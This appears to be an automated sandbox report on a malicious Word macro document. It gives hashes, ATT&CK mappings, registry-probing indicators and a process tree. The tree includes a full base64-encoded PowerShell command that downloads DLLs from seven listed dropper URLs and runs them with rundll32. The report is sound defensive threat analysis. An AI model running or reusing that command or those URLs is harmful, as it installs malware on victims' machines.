4054a4f314849369670235f1c40d35d15de7252d8d88d21fe66e5faabdcbf495

General

Target
2511.doc
Size 110KB
Sample211125-nav4msace3
SHA256 4054a4f314849369670235f1c40d35d15de7252d8d88d21fe66e5faabdcbf495
MD5 4f194c3ac26cda75bbea1bac2409a6ce
SHA1 146e24f998720febe6354124f5b0446511e0fb1b
SHA512 aedafcb9b88f25da026e576e467c4e491d980be1b332c4bd5b97044642f0296698fef96cdf345c2c4f5d6e73c183f30f0d1012f8a9502e09a0ecc1cc1f61c363
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://morishim.com/wp-content/EFhkVPdHVN/
exe.dropper
https://gezweb.com/2021/y5vxVZg6WY62u1lFpR77q/
exe.dropper
http://computerservicestoronto.com/Senaah/4sLAWGga/
exe.dropper
https://test.ohmyhome.com/licenses/Xh2Jf3Pbx8CZa/
exe.dropper
https://shop1.techraticsoftware.com/ALFA_DATA/alfacgiapi/jtFoay/
exe.dropper
https://xj.91liebian.top/k8w4h6rd/Gt4BYqWBs4ZUGEM5oPr/
exe.dropper
https://brandedmedia.io/Joey/BPQD5Bchj4BrH/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2208	4056	cmd.exe	67

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4056	WINWORD.EXE
4056	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 2208	4056	WINWORD.EXE	73
PID 4056 wrote to memory of 2208	4056	WINWORD.EXE	73
PID 2208 wrote to memory of 2924	2208	cmd.exe	75
PID 2208 wrote to memory of 2924	2208	cmd.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2511.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c c:\programdata\sdfhiuwu.bat
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JABzAHQAcgBzAD0AIgBoAHQAdABwADoALwAvAG0AbwByAGkAcwBoAGkAbQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEUARgBoAGsAVgBQAGQASABWAE4ALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGUAegB3AGUAYgAuAGMAbwBtAC8AMgAwADIAMQAvAHkANQB2AHgAVgBaAGcANgBXAFkANgAyAHUAMQBsAEYAcABSADcANwBxAC8ALABoAHQAdABwADoALwAvAGMAbwBtAHAAdQB0AGUAcgBzAGUAcgB2AGkAYwBlAHMAdABvAHIAbwBuAHQAbwAuAGMAbwBtAC8AUwBlAG4AYQBhAGgALwA0AHMATABBAFcARwBnAGEALwAsAGgAdAB0AHAAcwA6AC8ALwB0AGUAcwB0AC4AbwBoAG0AeQBoAG8AbQBlAC4AYwBvAG0ALwBsAGkAYwBlAG4AcwBlAHMALwBYAGgAMgBKAGYAMwBQAGIAeAA4AEMAWgBhAC8ALABoAHQAdABwAHMAOgAvAC8AcwBoAG8AcAAxAC4AdABlAGMAaAByAGEAdABpAGMAcwBvAGYAdAB3AGEAcgBlAC4AYwBvAG0ALwBBAEwARgBBAF8ARABBAFQAQQAvAGEAbABmAGEAYwBnAGkAYQBwAGkALwBqAHQARgBvAGEAeQAvACwAaAB0AHQAcABzADoALwAvAHgAagAuADkAMQBsAGkAZQBiAGkAYQBuAC4AdABvAHAALwBrADgAdwA0AGgANgByAGQALwBHAHQANABCAFkAcQBXAEIAcwA0AFoAVQBHAEUATQA1AG8AUAByAC8ALABoAHQAdABwAHMAOgAvAC8AYgByAGEAbgBkAGUAZABtAGUAZABpAGEALgBpAG8ALwBKAG8AZQB5AC8AQgBQAFEARAA1AEIAYwBoAGoANABCAHIASAAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABzAHQAcgBzACkAewAkAHIAMQA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAHIAMgA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAHQAcAB0AGgAPQAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcACIAKwAkAHIAMQArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJAB0AHAAdABoADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHQAcAB0AGgAKQB7ACQAZgBwAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAVwBvAHcANgA0AFwAcgB1AG4AZABsAGwAMwAyAC4AZQB4AGUAIgA7ACQAYQA9ACQAdABwAHQAaAArACIALABmACIAKwAkAHIAMgA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGYAcAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGEAOwBiAHIAZQBhAGsAOwB9AH0A
    3⤵
    PID:2924

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/4056-115-0x00007FF86EA30000-0x00007FF86EA40000-memory.dmp

Download

memory/4056-116-0x00007FF86EA30000-0x00007FF86EA40000-memory.dmp

Download

memory/4056-117-0x00007FF86EA30000-0x00007FF86EA40000-memory.dmp

Download

memory/4056-118-0x00007FF86EA30000-0x00007FF86EA40000-memory.dmp

Download

memory/4056-119-0x0000026178830000-0x0000026178832000-memory.dmp

Download

memory/4056-120-0x0000026178830000-0x0000026178832000-memory.dmp

Download

memory/4056-121-0x00007FF86EA30000-0x00007FF86EA40000-memory.dmp

Download

memory/4056-122-0x0000026178830000-0x0000026178832000-memory.dmp

Download

memory/4056-275-0x0000026110B50000-0x0000026110B54000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads